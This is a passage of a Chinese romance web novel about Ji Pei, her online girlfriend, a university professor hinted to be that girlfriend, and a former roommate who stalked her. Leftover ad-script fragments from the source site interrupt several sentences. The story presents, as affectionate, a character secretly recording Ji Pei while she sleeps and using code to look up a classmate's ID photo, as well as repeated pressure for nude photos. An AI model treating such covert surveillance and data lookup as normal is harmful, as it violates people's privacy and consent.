一斜微光从她蓬松漆黑的发丝间隙打在脸上,依稀还能看见侧脸上的细小绒毛。 那个时候,谢贞也正好进来,她和季裴的床铺还是挨着的。 叶文竹猜测,谢贞应该就是从那一刻,对季裴产生了歪心思。 “她是个女人。” 季裴有些不太好意思,一抹可疑的红色从她的脸颊微微浮现出来。 “我跟她还在网恋阶段,还没有奔现呢。” “你说什么?” “你再说一遍?” 叶文竹震惊到下巴都要耷拉到地上了。 她的目光一错不错地盯着季裴优越高挺的鼻梁看,猛地从竹椅上站了起来。 “你顶着这张脸去玩网恋?你最好跟我说你这是在开玩笑!” “我没跟你开玩笑,是真的。” 季裴舔了舔干涩的嘴唇,抱着花坐在了叶文竹离开的竹椅上。 “之前你不是让我下载那个分贝软件,给你朋友弄人气么,我就是在那个上面认识她的。” “等等!” 叶文竹后知后觉想到了什么被她忽略的重要事情,她差点把手里的玫瑰花骨朵给捏碎。 “你谈了个女人?!” “你居然谈的是个女人!” 叶文竹差点原地一蹦三尺高:“我就知道谢贞这个混蛋把你给掰弯了!下个月同学聚会,我一定要去,让我好好给她点颜色看看!” “和气生财和气生财。” 季裴指着头顶上那个烫金的四字招牌,说:“那我在群里回复她,说我也去。” 叶文竹把季裴揪了起来:“你去干什么?她特意订的酒吧包间,没准给你下个迷魂药什么的,到时候真的对你动手了怎么办?” 季裴有些犹豫了:“我想……和我的女朋友奔现,然后带着她一起去。” 叶文竹眼前一亮:“我怎么没想到这个好主意,到时候你当着她的面跟你的女朋友来个激烈舌吻,气死她!” 季裴点开群聊,在群里回复了一个“收到”。 她早就把谢贞的好友给删掉了。 · 走之前,叶文竹把手里那束修剪得乱七八糟的玫瑰花给了季裴,还说是免费送给她的不要钱。 季裴捧着那束狗啃玫瑰花哭笑不得。 她回到车上,找了一个好看的角度,拍了一张手捧百合花的照片,然后发给了冬日。 她还没来得及编辑语言发过去,冬日那边就发来了一条消息。 冬日:【车上怎么有玫瑰花?谁送的?】 季裴点开大图一看,她把副驾驶上那束玫瑰花的一角给拍进去了。 但是,只是一束玫瑰花而已啊。 季风:【这是我朋友送的】 她发完这一条过去后,后知后觉意识到这句话有歧义,想赶紧撤回已经来不及了,消息底下出现了两个字。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 已读。 季风:【亲爱的你别误会,她是开花店的,我经常在她家买花,这是她今天送给我的残次品】 季裴赶紧抱着那束红玫瑰,拍了几张参差不齐的花枝图片,发给冬日。 季风:【你看,真的是被她剪坏的】 冬日并不是什么胡搅蛮缠的人,季裴有时候觉得对方有点像一个长不大的孩子,喜欢抓着某一点不放。 就比如现在,对方发来了一条消息。 冬日:【她是开花店的,明明知道送红玫瑰是什么意思,为什么偏偏要送给你】 季裴问过冬日的年龄,对方没说多少岁,只是提了一口是三字开头的。 看见这条消息后,季裴有些开始怀疑自己的认知能力了。 她的女朋友,真的是一个三十多岁的女人么?该不会是初中生故意骗她的吧? 季裴停止自己的胡思乱想。 她决定找个合适的机会跟冬日说奔现的事情,她一定要看看对方究竟是何方神圣。 季风:【是真的,我们是大学室友,关系还挺不错】 冬日:【就信你这一回,赶紧回家把那条裙子穿上,我还没看够】 季裴:“……” 她就知道这个人没安好心,总是想着要看她的裸/照,还经常旁敲侧击地寄过来一些……那种东西。 季裴为了转移冬日的注意力,干脆把今天发生的事情都讲给对方听了。 季风:【我今天回学校替我妹妹上课,结果被那个教授给逮到了,扣分不说,还挂了科重修,你说我是不是倒霉死了】 冬日那边显示正在输入中,过了一会儿,季裴收到了一条这样的消息。 冬日:【你替你妹妹上课?她干什么去了?】 季裴如实回答,把手机屏幕敲得啪啪响,似乎是在显示自己的不满。 季风:【她找对象去了,非要让我去上课,还提了一堆我无法抗拒的条件,但是我又不是表演系的!】 季风:【和那个教授对视一眼后,我就知道肯定完了,被她发现了】 冬日那边很快就回复了她的消息。 冬日:【那之后呢】 季裴咬着下嘴唇疯狂打字。 季风:【挂科重修】 季裴越说越愤恨,手指敲手机键盘的声音越来越响,甚至出现了节奏感。 季风:【一个破选修课那么多事,还好我当年上大学没选她的】 季风:【这个教授看着一本正经的样子,没想到上课这么严,居然还收了我的手机,说什么上她的课不准玩手机】 季风:【我大学四年还从来没见过这么嚣张的人,学校又不是她开的,她说什么就是什么,比院长还厉害呢】 噼里啪啦打完一堆消息发过去,季裴总算是把这口恶气给出了。 冬日暂时还没回复,季裴以为对方是在认真看她这好几条消息,就重新编辑了一条过去。 季风:【你说是吧】 消息一瞬间变成已读,季裴见那边发了一条过来,睁大眼睛一看。 冬日:【今天晚上不用穿裙子了】 季裴:“?” 冬日:【全部脱/光给我看】 季裴:“!” 5. 撒娇 季裴一回家就开始收拾地上的狼藉,她一边收拾着,一边叹气。 做错了事情的雪媚娘依旧毫无半分悔改之心,它跳到季裴的后背上,用毛茸茸的脑袋去蹭对方的下巴。 季裴一肚子的气瞬间就消失了大半。 她冷冷地哼了一声,觉得自己面对喵星人不能那么快就范,否则她这个铲屎官可就当得太窝囊了。 “哼,不要以为你用美色/诱惑我,我就会吃你这一套。” 季裴蹲下去,小心翼翼地捡起青花瓷的碎片,这个花瓶还是她几天前从景德镇带回来的,连一个星期都没熬到就光荣牺牲了。 冬日:【回家了吗】 季裴在家都是开着铃声的,她只要一听见这个特殊的滴滴声响起,就知道是冬日发消息过来了。 可是季裴现在并不想回复冬日,她知道如果自己说已经回家了,对方肯定会让她做一些难以启齿的事情。 比如,脱了衣服给她拍照发过去。 季裴把家里打扫干净,又将两猫一狗分别关进了房间里,最后才是脱掉衣服进浴室洗澡。 之前冬日还说过更过分的话,让她发自己洗澡的视频和照片过去。 季裴蓓色欲熏心得晕头转向,差点就答应了对方的无理请求,最后她洗了个冷水澡,拒绝了对方的要求。 温热的水珠淅淅沥沥往下洒,滑过季裴柔软白皙的肌肤,顺着小腿和脚踝往下滴落。 季裴坐在浴缸里,她提前摘了几朵玫瑰花,把艳红的花瓣撒了进去,还准备了一盘子水果放在浴缸旁边。 浴室音响放着音乐,季裴吃了一块橙子,擦干手拿起手机回复冬日消息。 季风:【亲爱的,我现在有事要忙,晚一点再给你发消息】 季风:【亲亲.JPG】 放下手机,季裴闭上眼睛,享受着放松身心的独处时光。 手机微信铃声突然响起,季裴微眯着眼睛,伸手捞起手机,定睛一看,通讯录那个地方出现了一个红点。 季裴点进去,却看见那个熟悉的名字。 “好久不见,我是谢贞。” 季裴把手机又丢了回去。 大一那年,季裴还是个懵懂无知的新生。 谢贞和她同一个寝室,两个人的床铺还是挨着的。 对方比季裴大了一岁,平时还挺照顾她,每次买饭打水都自告奋勇地提出要帮季裴。 季裴过意不去,所以每时每刻都会跟在谢贞身边,两个人几乎是形影不离。 她所在的女生寝室是四人间,每张床上都挂着遮光的床帘,季裴也不例外。 之前还有人吐槽,叶文竹的床帘像祭奠用的棺材板,吓得她连夜换了一套粉色的。 某一天深夜,季裴在床上玩平板小游戏,她揉着眼睛轻轻一瞥,视线刚好落在床帘一角,吓得她差点把手里的平板给扔出去。 那是谢贞的眼睛,在黑暗中亮晶晶的。 季裴捂着胸口大口喘气,谢贞却仿佛没事人一样从帘子那头探了过来,问季裴有没有纸巾。 从那以后,季裴就换了一张新的床帘。 可没想到后来,谢贞仗着季裴脾气好,更加变本加厉了起来。 这些事情叶文竹全都看在眼里,她没忍住提醒了季裴,却遭到了全班同学的孤立。 谢贞是班长,善于周旋,做事又比较圆滑,和导员以及其他教师的关系都还不错,班里不少人都站队向着她。 后来班里不知道怎么传出来,季裴和谢贞之间是那种关系,就连季裴每学期的奖学金,都是靠谢贞帮忙弄来的。 一想到这件事情,季裴翻了个白眼,她盯着谢贞那个头像看了一会儿,才发现这是她四年前在朋友圈里发过的照片。 谢贞也会画画,窗户纸没捅破之前,两个人经常坐在一起研究人体形态。 季裴猜测,谢贞应该是按照她那张照片重新描了一张出来,因为从某些角度来看迷之相似。 季裴闭上眼睛,想反手拉黑谢贞,最后又停下了动作。 她想起叶文竹之前说过的话。 在同学聚会上,季裴抱着她的女朋友,当着谢贞的面来一场激烈的舌吻。 可是……她现在还不知道冬日长什么样子呢。 · 洗完澡吹干头发,季裴坐在床上思考人生,她打开了分贝,发了一条消息过去。 季风:【亲爱的,我好想知道你长什么样子啊】 冬日很快就回复了。 冬日:【万一我丑得惨绝人寰,你是不是就不爱我了】 季裴没料到冬日会这样回复自己,她现在迫不及待想知道对方的庐山真面目,心痒难耐。 季风:【不会的!我那么爱你,你是我心中最好看的人】 季裴想,那么好听的声音,脸应该也不会很难看的吧。 紧接着,一阵急促的铃声响起,季裴手机差点没拿稳。 粉色的通话界面出现了冬日的头像,季裴心中一惊,后知后觉发现这是冬日拨通了她的语音电话。 季裴的手指还在微微颤抖着,她用指尖按了下去,紧接着听筒那边传来冬日柔和温暖的嗓音。 “我第一次用这个软件,不是很熟练。” 女人的嗓音听起来有些沙哑,仿佛情人低伏在耳畔的轻声呢喃。 季裴的耳朵又痒又热,她把手机拿得远远的,浑身上下似乎触及到了细小电流般发麻发颤。 她的胸口微微起伏,盯着那个头像瞬间就红了双颊。 冬日的嗓音,也太犯规了吧。 “怎么不说话?” 嗓音带着点疑惑,像是羽毛尖尖丝丝缕缕地搔弄着季裴的耳廓,带着点不易察觉的酥痒。 “我……” 季裴一开口就招架不住了,她觉得自己的喉咙一阵发紧,咬着下唇不好意思发声。 “怎么?害羞?” 冬日轻笑出声,一字一句都在撞击着季裴的鼓膜。 季裴恨不得捂住自己的耳朵,她张了张嘴,说话带着点鼻音。 “我才没有呢……我只是……刚才有点事情要做。” 季裴听见冬日哼了一声,问:“你怎么突然给我打语音电话啊?我还从来没见过你那么主动呢。” 冬日嗓音带着点疑惑:“你不喜欢打电话?” 季裴抱着怀里的一只娃娃,说:“没有,我就是觉得,有点受宠若惊。” 冬日的声音放轻了不少,就仿佛是贴在季裴耳边说话似的。 季裴挠了挠耳朵,她站起来走到了落地镜面前,发现自己的耳朵都红了,更不要说是整张脸了。 “你那个……” 季裴欲言又止,吞吞吐吐:“今天就不看照片了吧,我有点累,一堆烦心事儿。” 季裴没察觉出来自己的语气带着点撒娇的意味,她的鼻音还是很重,嗓音听起来有点沙哑。 不过从手机听筒传出去后,性感又暧昧。 这是她不知道的事情。 “发生 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 什么事了?能说给我听听么?” 季裴听了冬日的话,一肚子的苦水终于找到了倾诉的地方。 “我跟你说,你可千万不要告诉别人啊。” 冬日的声音舒缓轻柔:“嗯,我会的。” 这个“嗯”字带着点安慰的意味,季裴舒缓了口气,听着冬日的嗓音静下心来。 “我大学那会儿,有个骚扰我的女班长,她今天在班级群里发消息,让我参加下个月的同学聚会。” 话说的简单明了,季裴一脸苦恼地托着两腮,叹了一口气。 “你说,她怎么就阴魂不散的呢。” “我当初为了躲她,特地从宿舍搬了出去,在外面租房住了三年。” 季裴嗓音带着浓浓的委屈,她抱着手机吸了吸鼻子,说:“我一直把她当成好朋友来看待,没想到她居然对我起了那样的心思,还……” 冬日注意到对方的话戛然而止,心中隐隐约约生出一点不对劲儿的预感来。 “怎么了?” 季裴浑身上下的鸡皮疙瘩都起来了,她的后背寒毛直竖,搓了搓手臂继续说。 “我之前经常丢内衣内裤,都是洗干净挂在阳台上晒的,总是莫名其妙就丢了。” 季裴的指甲下意识地抓着床单,揪起一个不规则的褶子,又用掌心将它铺平。 “我室友告诉我,我那些挂在阳台上不见的内衣内裤,是被她偷走的。” 季裴头皮发麻,当年叶文竹说这话的时候,她还不相信,觉得这种惊悚的事情不可能会发生在她和谢贞身上。 直到叶文竹趁着谢贞出门不在宿舍,从她的枕头底下找出了季裴丢失很久的内衣。 在那之前,季裴一直以为她的内衣是被风刮跑了。 看见那些皱巴巴布料的一瞬间,季裴如遭雷击,头一次对自己的认知产生了深深的怀疑。 一瞬间,隐藏多年的委屈统统倾泻而出。 这些话,季裴从未跟别人提起过。 她听着冬日的声音,仿佛突然间找到了归宿,有了一个可以依靠的对象。 “别怕,有我在,她叫什么名字?” 季裴躺在床上,随手关掉卧室的灯,打开床头的草莓小夜灯,浑身上下洋溢着暖黄色的光。 “这个……其实已经过去很久了,我早就释怀了,但是……” 季裴觉得自己有些矫情,嘴上说着释怀,其实恨不得添油加醋地向冬日告状。 “我就是想跟你说说,没别的意思。” 听着冬日轻轻地“嗯”了一声,季裴打了个哈欠,眯着眼睛嘟嘟囔囔。 “你可不要想着找什么□□报复她……可是要蹲局子的……” · 昏暗的台灯下,江羡寒半张侧脸隐匿在黑暗之中,光暗分明,以她高挺的鼻梁为分界线。 她听着听筒那边传来沉稳规律的呼吸声,唇角勾起一个浅浅的弧度,眸子里闪过前所未有的温柔。 江羡寒依依不舍地听了一会儿,对着那头轻声说了句晚安。 她没有挂语音,而是戴上了蓝牙耳机,将季裴浅浅的呼吸声收集起来。 一串串代码亮起,江羡寒扶了扶架在鼻梁上的眼镜,目光陡然间变得寒冷。 电脑界面上出现了一个女生的证件照,狐狸眼,微笑唇,披肩长发。 很眼熟。 她叫谢贞。 江羡寒微微屈起指节,在桌面上轻轻敲击着。 没想到这个人居然是她。 6. 开屏 季繁凌晨三点多的时候回来了。 季裴又忘记反锁房间门,她睡得正香,被满身酒气的季繁扑了个满怀,抱着她哭得眼泪哗啦。 季裴差点分不清现在是白天黑夜,拍着季繁的后背一个劲儿地顺毛。 “你怎么了?不是去见网恋对象么?奔现没成功?” 季繁抽抽嗒嗒地哽咽说:“她骗我!我见面之后发现她是个女的!” 季裴听到季繁最后这句嘶吼之后,困意瞬间消失不见,她眨了眨眼睛,似乎是嗅到了八卦的味道。 “什么?女的?” “对啊,是个女的。” 季繁的嘴都哭成了平行四边形,哽咽道:“我从S市刚下飞机,就接到了她的电话,她说她在机场等我,穿的是黑色卫衣,戴着红色鸭舌帽。” “我第一眼就看见她了,她留着长发,我以为她是我对象的姐姐。” 季裴在心里具体描绘了一下季繁这个网恋对象的模样,高高瘦瘦,身材不错,衣品应该也还可以。 要不然季繁怎么可能在人满为患的机场,第一眼就看见她呢。 看来这一切都是缘分呐。 季裴抱着季繁,一只手贴在她的后背和发丝上,一下又一下地顺着毛。 “她长得怎么样?漂不漂亮?” 季繁吸了吸鼻子,捏着纸巾收敛了眼泪:“长得……长得还挺好看的。” “那不就妥了。” 季裴抽出一张纸巾擦了擦季繁的眼泪,紧紧抿着上扬的嘴角,安慰说:“是男是女都好,既然你第一眼觉得她长得很舒服,那就说明你并不讨厌她,只是和内心预期相差有点大。” 季繁咬着下唇唇肉,说:“这是有点吗?连性别都变了……” 季裴眉毛一挑,问:“是她男扮女骗你,还是你们一开始就没有和对方挑明自己的性别?” 季繁难得噎了一下:“这个……我好像还真没有问过她是男是女……” “……” “啧。” 季裴最后还是忍不住笑出了声音:“我怎么说你好呢,都网恋了,你居然把最重要的事情忘了,连人家是男是女都不问,这下长记性了吧。” 季繁沙哑着嗓子,鼻音浓重:“谁让她头像昵称都那么中性的!” 她打开微信,举起手机放到季裴面前,说:“你看!” 季裴眯了眯眼睛,借着灯光看清了季繁的手机屏幕:“她是哪个?” 季繁后知后觉想起自己已经删掉了对方的好友,瘫坐在床上,说:“我把她删了。” “人家也没做错什么呀。” 季裴拿着季繁的手机,刚接过来就收到了一条好友请求的消息。 顾年请求添加你为好友。 “季繁,我是顾年,你的外套落在我这里了。” 季裴脑海中瞬间播放了一首充满宿命感的BGM:“你这个网恋对象,名字还挺好听的,顾年。” 季繁睁大了眼睛,指着手机屏幕说:“原来她真的叫这个,我一直以为这是她的网名。” 季裴:“……” 真不知道她妹妹这个脑子是怎么跟她考上同一个大学的。 季裴的手落在手机屏幕上,征求季繁的意见:“她加你好友了,要同意吗?” 季繁支支吾吾不好意思开口:“我……那个……” “这件事只能说是个乌龙,也不是人家的错,毕竟你也没问人家是男是女啊。” “那她为什么不主动说呢……” 季裴掐了一把季繁的脸颊,说:“你都忘了,别人也有可能忘啊,说不定人家喜欢你喜欢得晕头转向,把这件事给忘了呢。” 季繁鼻头发红,开始向季裴求助:“那怎么办啊,我骂了她一顿,还删了她的微信,买了机票就走了,连声招呼都没打。” 季裴:“把她加回来,道个歉吧。” 季繁最后还是抱着手机逃离了季裴的房间,季裴也不知道她到底会怎么处理,她也没想到一个简简单单的面基,会闹出这么大的乌龙。 想想还是有点可怕的,季裴不由得开始担心自己的处境。 冬日是个女人,两个人还打了语音电话,她的声音细腻又好听,季裴总觉得在什么地方听到过,大概是电视剧里的配音演员。 所以,冬日不可能是个男人,但是也不排除对方是一位跨性别者。 这种渺小的概率,季裴可不希望落到自己头上。 她打开手机看了一眼,现在已经是凌晨四点钟了,季繁在她这里哭闹了快一个小时。 季裴打开门,蹑手蹑脚走到季繁房间门口,侧着耳朵贴在门上听了一会儿。 没有哭泣吵闹,也没有歇斯底里,应该是已经接受了惨痛的现实。 季裴无声地叹了一口气,她现在毫无任何困意,下意识就点开了分贝这个软件,想骚扰一下冬日。 但是看现在这个时间,冬日肯定早就已经睡了。 她无聊地刷了一会儿手机短视频,一个广告跳到了微信,季裴点开朋友圈,面无表情地开始给人点赞。 指尖在屏幕上翻来翻去,季裴突然看见了一张非常吸人眼球的照片,她定睛一看,这张照片居然是江羡寒发的。 季裴的微信好友杂七杂八加起来有一千多个,她都设置好了分组和备注。 就比如,她给江羡寒划分到了“反人类生物”的那一组。 江羡寒朋友圈是开放的,和那些三天可见的截然不同,季裴竟然能看见她三年前发的朋友圈。 各种荣誉奖项和奖杯,还有对方在辩论赛上的正装照片,几乎每一条朋友圈都有江羡寒的正脸或者是侧脸照。 季裴从头到尾都翻了一遍,幸好微信没有浏览记录查看,否则她肯定会被江羡寒当成一个猥琐偷窥狂的。 一张志愿者的束发照片在季裴两指指尖缓缓放大,季裴盯着江羡寒那张面无表情的脸,啧啧两声。 怪不得是整个院系粉丝最多的教授,看来都是奔着她原地出道的颜值去的。 果然是江羡寒,对自己的相貌和人格魅力都非常有自知之明,季裴竟然没有察觉到一分一毫的自恋在里头。 这也许就是绝对实力吧。 · 上午。 叶文竹的花店里又进了一批蓝色绣球花。 两名学徒把鲜花搬到货架上,陈莹莹猛地吸了一口鲜花,被花粉呛得打了好几个喷嚏。 叶文竹听到动静转过头去看,眼睛弯成了月牙的形状。 “幸好你对花粉不过敏,要不然吸了这致死量的粉末,叫救护车都来不及。” 陈莹莹尴尬地摸了摸鼻子。 叶文竹在店里坐得好好的,突然间听见收银台那边传出下订单的声音。 陈莹莹擦擦手跑过去,瞪大眼睛喊道:“老板,有一笔大买卖来了!” “什么大买卖,你看警匪片看多了吧。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 叶文竹从椅子上慢悠悠地站起来,走到收银台前:“让我看看是什么大买卖让你激动成这个样子?” 有一个叫冬日的买家,性别未知,一口气购买了九百九十九朵红玫瑰,还要求让她从法国空运过来,要最新鲜最漂亮最完美的花骨朵,不能出现任何的瑕疵。 正如同陈莹莹刚才所说的,这确实是一大笔买卖。 叶文竹这个花店的订价可不便宜,她的店开在寸土寸金的市中心,店面虽然不大,但是鲜花质量都是有目共睹的。 收入比较普通的家庭面对花价都望而却步,她面向的客户都是富豪级别的人物,对于那些人来说,花朵不重要,重要的是自己的面子。 难不成这些花是求婚用的? 叶文竹之前见过抠门的富豪,听到花价之后转身就走,因为他们觉得求婚用根本不需要这么贵的话。 这可是一大笔订单,叶文竹拿出小票仔细地看了看,她想知道那个被求婚的人究竟是谁。 收货地址:A市XX区XX街道XXXX…… 叶文竹看了一眼这个地址,在A市也算是高档小区了,说明这两个人门当户对,女方应该也挺有钱的。 她又看了一眼订单收货人的姓名,一个没坐稳从竹椅上滑下来,差点闪到腰。 收货人:季裴。 叶文竹眨了眨眼睛,又用手背狠狠揉了两下。 陈莹莹见状忍不住问:“老板,你眼睛进沙子了?” 叶文竹摇头不语。 陈莹莹凑过去看了一眼,一脸惊讶地说:“咦?老板,这不就是我们店经常送花的地址嘛!你那个好朋友季裴姐姐家的地址!” 两个学徒对视一眼,表示自己吃到了新鲜的瓜。 叶文竹摩挲着下巴,喝了一口茉莉花茶开始思考。 这个叫冬日的究竟是何方神圣,难不成他(她)也是季裴的追求者之一。 叶文竹碰到过好多来她家买花的男男女女们,对方都会让她手写一张明信片,她已经写过不下二十次季裴的名字了。 主要是这个人有点手段,居然还弄到了季裴的具体地址,不知道究竟安的什么心。 难不成地址是季裴告诉这个人的,但是这也不太可能啊,季裴平时也算是个谨慎的人,根本不会把自己的家庭住址告诉陌生人。 除非…… 叶文竹恍然大悟,这肯定是季裴那个网恋对象送的! 她一查账单,光是从法国空运过来就需要花不少钱,更不要说是这种品种的玫瑰了。 看来这个网恋对象家境殷实,肯定是个很有钱的人。 想到这里,叶文竹松了一口气,她就知道季裴不是恋爱脑,不可能会为了爱情不要面包。 但是话又说回来,万一这个叫冬日的不明生物,是个长得青面獠牙的河童该怎么办。 叶文竹差点就要给季裴打电话过去了,不过她又生生止住了自己的胡思乱想。 说不定这两个人门当户对郎才女貌呢,也不是没有可能的事情。 不对,这个冬日应该也是个女的。 陈莹莹一脸好奇地问:“老板,你怎么这么开心?” 叶文竹收敛了笑容:“嫁出去的女儿泼出去的水,你哪只眼睛看到我开心了?别傻站着,赶紧去联系客户。” 陈莹莹刚拿起电话,就被一只手给夺了过去。 只见叶文竹露出了一个高深莫测的笑容:“不,我要亲自联系!” 7. 嘴硬 季裴早上六点多钟才合眼睡着,一觉醒来已经是下午的三点多钟了。 她本以为家里的两猫一狗会因为饿肚子过来挠门,打开门一看,季繁坐在地上,和家里那只捡来的金毛玩起了手拍手的游戏。 季裴一脸诧异:“你怎么没去上课?老师不点名?” 季繁揪了揪小狗的耳朵,盯着季裴的胸口,做出一个往上拉拉链的手势。 “今天下午没课。” 季裴揉着眼睛,把睡衣衣领整理了一下,见季繁和往常一样,忍不住问:“你那个……昨天那件事,解决了吗?” 一提起昨天,季繁脸上原本平淡的表情产生了微微的变化。 “都解决了。” 季繁转移话题,说:“姐姐,你怎么睡到下午才起来?之前不是说要养成良好习惯么?” 季裴走到厨房给自己倒了杯冰水,喝了一口叹息说:“昨天谁半夜三更跑我房间里哭?亏我还担心了你一夜,小没良心的。” 季繁摸了摸鼻子心虚道:“我给你炖了燕窝银耳粥,在锅里热着,你快去喝。” “燕窝?你从哪弄来的?” 季繁看着可不太像是会养生的样子,平时从来不见她休养生息,每天熬夜到凌晨才睡。 “这是咱妈从芬兰寄过来的,还说什么好东西,我打开一看全是毛,洗了一个上午才洗干净。” 既然是刘艳芬寄过来的,那肯定是她吃不完怕浪费,又或者是那种又贵又难吃的东西,难以下咽的营养品。 这样看来,燕窝应该是后者。 季裴一想到燕子的口水就倒吸一口凉气,她走到厨房打开蒸锅,端出一小碗燕窝粥,放在鼻尖嗅了嗅。 有一股桂花的清香,还有蜂蜜的清甜,她用勺子搅拌了一下,看起来黏糊糊的,还能拉丝。 季裴最后还是把这碗燕窝给放下了,穿上外套来到玄关处换鞋,没等季繁开口就匆匆逃离了家门。 让她吃燕子口水,除非拿刀架在她脖子上。 “我今天晚上有事,就不回来吃饭了,你自己随便凑合凑合。” · 出了门,季裴才想起自己今天起床以后居然没有打开分贝。 软件也没有传来最新消息,冬日居然一整天都没给她发消息,这可是前所未有的事情啊。 难不成她也和自己一样,一觉睡到现在才起来,可是这一点都不科学。 季裴一脸郁闷地托着两腮,坐在小区花园的长椅上,打开交友软件,开始翻看冬日的主页。 她的主页非常简洁干净,个性签名是卡夫卡的一句话。 任何苦难,都能把我打倒。 季裴在心里默念着这句话,唇角微微勾起,不过很快她就笑不出来了,因为她发现了一件很巧合的事情。 这个签名,好像在其他地方见到过。 季裴怀着探索和疑惑,打开了微信,点进江羡寒的头像,进了对方的微信主页。 江羡寒这个大魔王的个性签名也是这句话! 天才绝大多数都是相似的,季裴想不起来自己是从地方听到过这句话了。 她没想到冬日和江羡寒居然都喜欢卡夫卡,还都用了同样一句话做了个性签名,这一定是巧合。 季裴打了个哈欠,从长椅上站起来伸了个懒腰,脑子里又想起了另一句卡夫卡的名言,于是拿出手机编辑了一条朋友圈。 “起床这么早,会让人变傻的,人需要睡觉。” 发出去之后,季裴就扫了一辆共享单车,骑着骑着就溜达到了A大东校门门口。 季裴停下车子,突然想起昨天信誓旦旦说要去吃食堂黄焖鸡米饭的。 谁知道那天实在是太过倒霉,情绪低落,她头也不回地就离开了校园,把这件事忘在了脑后。 季裴打开微信,找到了叶文竹的聊天框,给对方发了一条长长的语音。 花店里,叶文竹正在给一个不小心一手拍进仙人球盆里的顾客拔刺。 她一边打开语音,一边三下五除二拔顾客手心的刺全都拔了出来,还把这盆仙人球免费送给对方。 季裴:“我在学校门口,马上到饭点了,你快点过来陪我一起吃饭,我们去新修的东食堂吃黄焖鸡米饭。” · 叶文竹叶很久没回学校了,一提到黄焖鸡米饭就想流口水。 A大哪哪都是国内顶尖,尤其是学校食堂,便宜量大又好吃,大学四年她都没怎么点过外卖,吃食堂胖了快二十斤。 她的花店离学校并不远,叶文竹骑着电瓶车溜达着就来了。 “下午好啊。” 叶文竹在见到季裴的黑眼圈后,脸上露出了一个审视的表情:“你昨天没睡好?是不是跟你的对象那什么太晚了……” “你可闭嘴吧,没有的事。” 进学校需要刷脸,季裴见到那个眼熟的保安后,趴在保安亭前面和对方“眉来眼去”了一会儿,保安大叔就开后门给她们放了进去。 叶文竹笑得一脸和善:“我不信,都成年人了,这种事情没什么不好意思说出口的。” 季裴无奈至极:“我骗你干什么,我跟她还没奔现,等奔现了说不定就……” 叶文竹想起昨天下午的空运玫瑰花订单,旁敲侧击地问:“对了,你那个网恋对象叫什么名字来着?” “你问她的网名还是本名啊?” 冬日这个名字怎么看都不像是本名吧。 叶文竹:“网名。” “她叫冬日。” 果然是这样! 见叶文竹露出了一个狡黠的笑容,季裴忍不住说:“你干什么这个表情?” “没有没有,这个名字挺有内涵的。” 叶文竹转过头,抿着嘴笑了两下,借着恢复正常的表情。 两个人跨过石桥,叶文竹已经快走不动了,她抬起手肘看了一眼腕表,现在是下午的四点多钟,还有不到半个小时就要放学了。 “学校太大真不方便啊,我们也刷不了公交卡,只能走着过去了。” 季裴转头看向路边摆放的单车:“有单车,你骑一辆。” 叶文竹摇摇头,明显害怕了:“可别了,你又不是不知道,之前不知道哪个反社会人格的神经病,在车座里藏了一根牙签,差点没把我屁股扎穿。” 季裴听到这话也搓了搓手臂上的鸡皮疙瘩:“你就庆幸碰到的不是针头之类的吧。” 林荫道马 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上就到了尽头,季裴转角就碰到了一位面熟的不速之客,是那一位在她微信备注里面,划分为反人类生物的哲学教授。 江羡寒应该是刚下课没多久,她的身边还跟着昨天安慰她的那位助教,好像是叫白茵。 白茵见到季裴后,弯了弯眼睛,笑着打招呼说:“好巧啊,季裴,今天又见面了。” 季裴听着这话一脸心虚,礼貌地点点头:“是啊,好巧,没想到在这里碰到你。” 她总觉得后背一阵发冷,于是偷偷斜眼瞅了瞅白茵身边的江羡寒,总觉得对方浑身上下笼罩了一层冷气。 都和白茵打招呼了,忽略江羡寒的话总归不太好。 季裴弯了弯唇角,朝着江羡寒点点头:“又见面了,江教授。” 叶文竹见状也赶紧打招呼:“江教授您好。” 她从见到江羡寒的第一眼就觉得这个人好像有点面熟,很漂亮很冷淡,又好像在其他地方见到过。 姓江……该不会是那个如雷贯耳的江羡寒吧。 叶文竹转过头看了一眼季裴,这个人究竟是怎么认识江羡寒的,江羡寒身边的助教居然还主动向她打招呼。 江羡寒紧绷的脸色逐渐缓和下来,她注视着季裴的眼睛,当着另外两个人的面说:“昨天的事,我也是公事公办,季繁同学怎么样了?现在回家了吗?” 叶文竹脸上的震惊越来越大,她眨眨眼睛盯着季裴的侧脸看,抿着嘴唇默不作声。 这两个人是怎么认识的?怎么还能聊到季裴妹妹的事情? 难不成两个人是亲戚?可是她从来没听季裴提起过啊。 季裴微微一笑:“谢谢江教授关心,我妹妹她已经回家了,现在在家里喂狗呢。” 四个人站在一起,怎么看怎么格格不入。 白茵察觉到了尴尬,赶紧找了一个新话题:“季裴,你们回来干什么呀?是来宣传咱们学校的吗?” 季裴笑了笑:“学姐,咱们学校全国知名度TOP前三,就不用我做什么宣传了吧。” 白茵把背包往上提了提,朝着季裴眨了眨眼睛:“那你们回来干什么,该不会是……” “不是,我们就是嘴馋了,想回来吃个食堂,不是说又新开了一栋吗,我和我朋友回来尝尝味道怎么样。” 白茵可算是找到了知己:“新食堂啊,都是学校从全国各地请来的专业厨师,什么菜系都有,都特别好吃。” 季裴一听眼睛放光:“那我们一起去吧。” 她稍微侧过头,对上了江羡寒那双淡淡的眸子,对方也正在看着她。 四目相对的一瞬间,季裴咽了一下喉咙,小心翼翼地问:“江教授,我们去食堂吃晚饭,您也一起来吗?” B市的风吹得脸有些干,泛黄的树叶哗啦作响,有一片金黄的叶子飘到了季裴的鞋上。 江羡寒低头看了一眼,点点头:“嗯,好久没吃食堂了,正好试一下新菜品。” 白茵闻言差点原地立正,她的脸上出现了少见的震惊之色:“江教授,您不是从不外食么?” 季裴:“……” 叶文竹:“……” 江羡寒和季裴对视了一眼,面不改色地说:“没有的事。” 8. 刷卡 季裴和叶文竹肩挨着肩,跟在白茵和江羡寒后面走。 白茵是个热心肠的姑娘,非要亲自给三个人带路,嘴里还振振有词。 